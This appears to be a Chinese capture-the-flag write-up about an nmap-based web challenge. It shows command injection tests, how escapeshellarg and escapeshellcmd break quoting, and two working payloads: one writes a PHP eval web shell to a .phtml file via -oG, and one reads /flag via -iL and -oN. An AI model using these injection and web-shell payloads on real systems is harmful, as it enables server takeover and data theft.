启动环境
结合题目首先就是要知道关于关于nmap命令
相关的命令-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件
-sP Ping 扫描
还有许多
nmap命令https://blog.csdn.net/weixin_73562787/article/details/131793001这个页面就是类似于nmap命令,所以就先做一波尝试
先看看127.0.0.1
后面可以结合一下命令执行,用 | 作为分隔符
127.0.0.1 | ls
发现与刚刚的页面不一样,说明是可以进行命令执行的,但是|被\转义了,尝试;
127.0.0.1 ; ls
后面就没有什么思路了
其他师傅提示说nmap注入
有两个方式
1.利用-oG,可以将命令和结果写进文件。
2.利用-iL 和-oN。其中-iL是从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL-,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息,-oN是把扫描结果重定向到一个可读的文件logfilename中
介绍两个函数
escapeshellarg和escapeshellcmd函数
escapshellarg()
这个的操作比较多
对类似非法的 进行 加引号和转义符
escapshellcmd()
这个是对非法进行加转义符
eg
172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2''' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\'' -v -d a=1',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
-oG
payload
127.0.0.1' <?php @eval($_POST["hack"]);?> -oG test.php '
好像不行,应该是被过滤一些东西
应该是过滤了php标签
然后需要用 短标签去绕过,将标签改为.phtml
127.0.0.1' <?= @eval($_POST["hack"]);?> -oG test.phtml '
后面再蚁剑连接
-iL
payload
' -iL /flag -oN 1.txt '
然后访问1.txt就可以了